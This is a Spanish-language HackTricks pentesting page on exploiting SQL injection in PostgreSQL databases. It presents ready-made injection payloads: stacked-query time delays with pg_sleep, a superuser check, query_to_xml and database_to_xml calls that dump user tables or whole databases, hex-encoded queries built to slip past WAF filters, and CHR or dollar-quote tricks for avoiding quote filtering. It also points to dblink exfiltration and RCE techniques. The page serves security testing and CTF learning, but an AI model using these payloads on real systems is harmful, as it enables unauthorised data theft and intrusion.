.. | ||
big-binary-files-upload-postgresql.md | ||
dblink-lo_import-data-exfiltration.md | ||
network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md | ||
pl-pgsql-password-bruteforce.md | ||
rce-with-postgresql-extensions.md | ||
rce-with-postgresql-languages.md | ||
README.md |
Inyección en PostgreSQL
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PR al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Consejo de recompensa por errores: regístrate en Intigriti, una plataforma premium de recompensas por errores creada por hackers, para hackers. Únete a nosotros en https://go.intigriti.com/hacktricks hoy mismo y comienza a ganar recompensas de hasta $100,000.
{% embed url="https://go.intigriti.com/hacktricks" %}
Esta página tiene como objetivo explicar diferentes trucos que podrían ayudarte a explotar una inyección SQL encontrada en una base de datos postgresql y complementar los trucos que puedes encontrar en https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md
Interacción de red - Escalada de privilegios, escáner de puertos, divulgación de respuesta de desafío NTLM y exfiltración
dblink
es un módulo de PostgreSQL que ofrece varias opciones interesantes desde el punto de vista del atacante. Se puede utilizar para conectarse a otras instancias de PostgreSQL o realizar conexiones TCP.
Estas funcionalidades junto con la funcionalidad COPY FROM
se pueden utilizar para escalar privilegios, realizar escaneos de puertos o capturar respuestas de desafío NTLM.
Puedes leer aquí cómo realizar estos ataques.
Ejemplo de exfiltración utilizando dblink y objetos grandes
Puedes leer este ejemplo para ver un ejemplo de CTF de cómo cargar datos dentro de objetos grandes y luego exfiltrar el contenido de los objetos grandes dentro del nombre de usuario de la función dblink_connect
.
Ataques de PostgreSQL: Lectura/escritura, RCE, escalada de privilegios
Comprueba cómo comprometer el host y escalar privilegios desde PostgreSQL en:
{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %} pentesting-postgresql.md {% endcontent-ref %}
Bypass de WAF
Funciones de cadena de PostgreSQL
Manipular cadenas podría ayudarte a burlar WAF u otras restricciones.
En esta página puedes encontrar algunas funciones útiles de cadenas.
Consultas apiladas
Recuerda que postgresql admite consultas apiladas, pero varias aplicaciones arrojarán un error si se devuelven 2 respuestas cuando se espera solo 1. Pero aún puedes abusar de las consultas apiladas a través de la inyección de tiempo:
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
Trucos de XML
query_to_xml
Esta función devolverá todos los datos en formato XML en un solo archivo. Es ideal si desea volcar una gran cantidad de datos en solo una fila:
SELECT query_to_xml('select * from pg_user',true,true,'');
database_to_xml
Esta función volcará toda la base de datos en formato XML en solo una fila (ten cuidado si la base de datos es muy grande ya que podrías hacer un DoS o incluso afectar a tu propio cliente):
SELECT database_to_xml(true,true,'');
Cadenas en Hexadecimal
Si puedes ejecutar consultas pasándolas dentro de una cadena (por ejemplo, usando la función query_to_xml
). Puedes usar convert_from
para pasar la cadena como hexadecimal y así evitar los filtros:
{% code overflow="wrap" %}
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h
# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -
{% endcode %}
Comillas prohibidas
Si no puedes usar comillas para tu payload, puedes evitar esto con CHR
para cláusulas básicas (la concatenación de caracteres solo funciona para consultas básicas como SELECT, INSERT, DELETE, etc. No funciona para todas las declaraciones SQL):
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
O con $
. Estas consultas devuelven los mismos resultados:
SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
Consejo de recompensa por errores: ¡regístrese en Intigriti, una plataforma premium de recompensas por errores creada por hackers, para hackers! Únase a nosotros en https://go.intigriti.com/hacktricks hoy mismo y comience a ganar recompensas de hasta $100,000!
{% embed url="https://go.intigriti.com/hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabaja en una empresa de ciberseguridad? ¿Quiere ver su empresa anunciada en HackTricks? ¿O quiere tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulte los PLANES DE SUSCRIPCIÓN!
- Descubra The PEASS Family, nuestra colección exclusiva de NFTs
- Obtenga la oficial PEASS & HackTricks swag
- Únase al 💬 grupo de Discord o al grupo de telegram o síganos en Twitter 🐦@carlospolopm.
- Comparta sus trucos de hacking enviando PR al repositorio de hacktricks y al repositorio de hacktricks-cloud.